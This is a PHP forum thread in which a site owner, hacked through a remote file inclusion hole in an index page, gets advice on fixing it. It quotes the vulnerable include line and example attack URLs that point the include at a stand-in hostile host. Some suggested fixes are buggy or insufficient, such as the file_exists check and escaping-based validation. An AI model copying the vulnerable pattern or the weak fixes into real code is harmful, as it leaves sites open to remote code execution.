hacked with r57shell.php

[jigga]

So yes Im another person who is new to .php and I got hacked, the executed the php file thru linking my php to one of their sites hosting the trojan and executed it and then upped the torjan then were able to edit my index page and uplaod files like movies and stuff as well as some other programs.

Today my tech support ppl told me they used my account to attack other accounts as well. I removed all the stuff they uploaded and notifited the administrators about the hack they used. They told me the whole server couldnt be compromised they use firewalls and good security and only my account on the server would be. I read another post on this forum of a person who got hacked same way and some people replied that the whole server could be compromised, so are my tech ppl bullshiting or not? They are a big hosting company by the way.

So I have learned that I should put the following line in my page:
Set allow_url_fopen = off

I wish to know tho should this line be put into every .php page on my website or only the main index.php in which the rest of my .php pages open, also is there a certain place this would go or anywhere on the page really?

Also this is the code I use to call my other .php pages to the index.php in which the rest of my pages show. Please tell me if I should change this code in any way to make it more secure. I really dont know anything about .php I had the page made for me by a someone a long time ago who I no longer have contact with so thats why I need this help. Here is the code:

<?php if($id == "") { include("home.php"); } else { include("$id.php"); } ?>

so the code is pretty simple as you can see, default is the home.php inside my index.php or when i hit other links it goes to the specific id.php

also after talking to my tech guys some more they are telling me the fopen line requires a dedicated ip address can anyone explain to me what thats all about as well? they gonna make me pay extra for it. they say you need a port open for fopen, which is only open on dedicated IPs is that true?

If anyone can help me out with few of these answers I would really appriciate it. Trying to learn to not get hacked again and as you can tell I need all the info I can get.

[bretticus]

oh boy...

<?php if($id == "") { include("home.php"); } else { include("$id.php"); } ?>

Let me guess $id comes from the URL address bar or register globals is on? You might as well have given them the keys to your car. Let me explain why this is very bad. Imagine that I figure out as I'm going through your site that http://yoursite.com?id=dosomething does the corresponding thingy for each page (which would have been very apparent when a nice PHP error pops up saying the include path is wrong when they type http://yoursite.com?id=nonsense.) Now I just type http://yoursite.com?id=http://mybadsite/myhackscript.php. I have preformatted the html page that just returns PHP code. Any code I want to run. There are many functions in PHP fo file manipulation, etc. BAD STUFF.

[jigga]

yep you are exactly correct. and by that way they executed the .php needed to run the trojan and then executed the trojan and they were in and pretty much did whatever I guess.

But please since you seem to know what the problem is, please explain how I can fix this to be more secure? As I said im php illitrate, so as I mentioned the "allow_url_fopen = off" command I read would disallow people from executing other .php files period but from what Im guessing is, my code still has to be fixed in some way?

As well as I dont even know where to put the "allow_url_fopen = off" line and how exactly it should be setup.

[bretticus]

I don't know myself how your hosting is setup but my guess is you can't turn it off. Only your network administrators can as this is a php config file directive (google php.ini) You could try setting it off through ini_set. However, the real problem is that code. Never let any variable be set externally. Especially when it is part of a parameter for a function that employs allow-url-fopen. If you want a quick fix (allthough I still discourage dynamic include paths), you might try code such as

<?php

$array['users'] = '/viewusers.php';
$array['home'] = '/gohome.php';
$array['update'] = '/updatethings.php';
$array['delete'] = '/deletestuff.php';

if ( array_key_exists($_GET['id']),$array) ) {
	include($array[$_GET['id']]);
} else {
	include('index.php');
}

?>

This allows you to explicitly control which files can be included via a URL parameter.

[jigga]

ok thats some good info there thank you. My home directory holds the php.ini file in which i can change the .php options myself altho nowhere in that file was I able to find the "allow_url_fopen" line for that option at all. I guess I would manually have to add that line in there once I get a dedicated IP addess? Also currently I have the php.ini file in the main directory with my main .php file's, i do have folders where I keep other .php files should I be coopying this php.ini file to every directory containing php files?

Thanx again for your replys.

[jonlink]

Never let any variable be set externally.

While I agree that external variables need to be treated carefully, this is just an important aspect of a lot of code. One easy example is search engines using externally set variables:

http://www.google.com/search?q=bees

Q can be manipulated by anyone and Q is both useful and not dangerous. It isn't where the variables come from, it is how you are using the variables and how you are treating ones that could be abused.

what you can't do is leave a door open like you've done here. One alternative is:

<?php 

if($id=='about'){ 
	include('about.php');
}elseif($id=='links'){
	include('about.php');
}else{
	include('home.php');
}
?>

with the above, someone putting in www.mysite.com?id=http://evilhacks.com would just get your home page.

ps. you don't need a dedicated ip to use include(), so they are either confused or lying.

[jigga]

thank you for that info, they were not saying i cant use include without a dedicated IP, they were saying the line that protects the PHP code which is the "allow_url_fopen = off" in which case when set to OFF wont allow php files to be executed from another url, that requires a dedicated IP address apparently because it needs to have a certain port open for it to function from what I understand.

[jonlink]

I'm no expert, but you shouldn't need a port open to turn off allow_url_fopen😕 . You should be able to turn off allow_url_fopen in the php.ini file you found, that should take care of things. or you can put the following into your .htaccess file:

# set register globals off
php_value register_globals 0

# set allow_url_fopen off
php_value allow_url_fopen 0

I've never heard of anyone having to pay change their settings, but then again I haven't heard that it never happens either.

[jigga]

Yes I dont know whats up I think that one tech was smoking somethin, I spoke to a next tech who didnt say anything about ports or nothing about paying extra but either way I already had a dedicated IP address so im fine anyhow. He did state that he had to do it tho, as like I said I couldnt find that option in my php.ini so it took him all 10 seconds to do it and he showed me that it was off by me viewing my phpinfo. So now in theory they shouldnt be able to execute any files from another URL, so thats one thing down couple more to go...

I was wondering tho, since you seem familiar with that php.ini file do you have any suggestions for any other options I should check for in there wether they should be on or off?

Next I always had my php files with the 644 setting, is that sufficent and safe?

Now looking at the code you suggested and code bretticus provided as well, does setting it up with arrays give any more benefit or more security or is it all the same thing and is pretty safe? I see bretticus mentioned that he doesnt suggest doing dynamic include paths which both of these do, how would I go about not doing it dynamicly? Because if it isn't too hard I would love to have my page as secure as possible so this doesnt happen again.

Thank you both very much once again for all the answers your providing, you guys are truly life savers and I appreciate the time your taking to talk to me, I have learned a lot alread since I started this topic.

[scrypte]

jigga wrote:

<?php if($id == "") { include("home.php"); } else { include("$id.php"); } ?>

Rule #1 when using globals, always clean them using stripslashes, a custom function real_escape or real_escape_string and specifiy GET or POST as well.

[scrypte]

Why is a 3rd Party hosting provider allowing allow_url_fopen off to be enabled, I've never seen that in my entire experiance on the web using hosting companies for my sites.

[MarkR]

allow_url_fopen is a perfectly safe option to enable; it should always be enabled as it's highly useful.

On the other hand, the inherent problem is people doing include($some_user_supplied_value).

This is an absolutely inexcusable technique and should not even be CONSIDERED for use in a production application.

Even with fopen_url off, poor code can still result in your application being compromised.

Fortunately, in PHP 5.2 allow_url_fopen has been split into two: allow_url_fopen and allow_url_include - the latter of which is off by default and there is no reason for EVER enabling it.

As I suggested earlier, a server which has been compromised in any way should immediately be taken down, reinstalled from scratch and have everything restored from a backup before the compromise, or from somewhere unaffected (e.g. dev server)

Mark

[jonlink]

# set register globals off
php_value register_globals 0

# set allow_url_fopen off
php_value allow_url_fopen 0

# set magic_quotes_gpc off
php_value magic_quotes_gpc 0

# set magic_quotes_runtime off
php_value magic_quotes_runtime 0

are the basic things to turn off

as far as the security of the php files goes, they are pretty safe. for more info search "secure config" and look at the first post called "question about security of php files."

I'm not sure that there is a safer way to have a dynamic website, and honestly I wouldn't worry about it, so long as you are careful with variables set by users you'll be fine. There are lots of dynamic websites that are very secure, if you have questions about specific code post it somewhere and ask— folks are usually pretty happy to help patch up the holes. scrypte mentioned validating your $POST & $GET's that is a very good idea, always.

a good basic one is:

function validate($value){
	if(get_magic_quotes_gpc()) 	$value 	= stripslashes($value);
	if(!is_numeric($value)) 	$value 	= mysql_real_escape_string(strip_tags($value));
	return $value;
}

and you'd use it like so:

$id=validate($_GET['id']);

[MarkR]

Personally, I'd say, make sure allow_url_fopen is ON, but

Audit any require() or include() of a non-constant expression VERY CAREFULLY.

Almost any use of require() or include() on a non-constant expression could contain a compromise; I rarely use this in my applications (Exception: including all files in a directory).

Likewise, any use of eval() at all, should be audited with a fine-tooth comb. For preference, eval() should not be used. Its very existence in your application probably indicates a bug.

There is another thing which can be very dangerous and is often over looked:

• The "e" modifier on preg_replace expressions. At least one vulnerability I know of used this.

For preference, all regular expressions in preg_replace should be constant. Any which aren't should be audited very carefully.

Mark

[ClarkF1]

mysql_real_escape_string is only useful if you're using a database.

Personally I check using file_exists everytime.....

$id = $_GET['id'];

//YOU COULD ALSO STRIP OUT ANY DODGY STUFF AS PREVIOUSLY SUGGESTED BEFORE PROCEEDING

if (file_exists("./$id.php"))
 include('./$id.php');

[MarkR]

Using file_exists is not sufficient to prevent the above code being abused.

Almost every case of include() with a non-constant expression indicates poor practice and should be eliminated by refactoring the application.

Mark

[jonlink]

mysql_real_escape_string is only useful if you're using a database.

Yes, and no. This will strip out any html and that sort of thing, which can be useful. It is what I use, though I am using it for a DB and it was written specifically with that in mind.

I meant it more as an example of what to do, depending on the use things need to be customized. In the case of using that either I or bretticus first suggested I don't know of a need to do it at all, though it isn't a bad idea.

- The "e" modifier on preg_replace expressions. At least one vulnerability I know of used this.

MarkR, what is it so I can avoid it?

[MarkR]

jonlink wrote:

MarkR, what is it (the preg "e" modifier) so I can avoid it?

http://uk.php.net/manual/en/function.preg-replace.php

The "e" modifier interprets the replacement string as PHP code which is eval()ed for each replacement.

In the case where the replacement string is non-constant, it may be possible for a user manipulating input data to inject code to be executed- this will compromise the application.

Mark

[Piranha]

jonlink wrote:

Yes, and no. This will strip out any html and that sort of thing, which can be useful. It is what I use, though I am using it for a DB and it was written specifically with that in mind.

No, it will not strip out any html. If you want to change from HTML marks to code instead you should use [man]http://www.php.net/manual/sv/function.htmlspecialchars.php[/man] since it really does it possible to run in HTML.

[ClarkF1]

jonlink wrote:

Yes, and no.

You can only use mysql_real_escape_string if you have already connected to a mysql database, that's what I meant.

If you're writing a script that doesn't require database access you can't use it to escape characters, you'd need addslashes and/or other functions.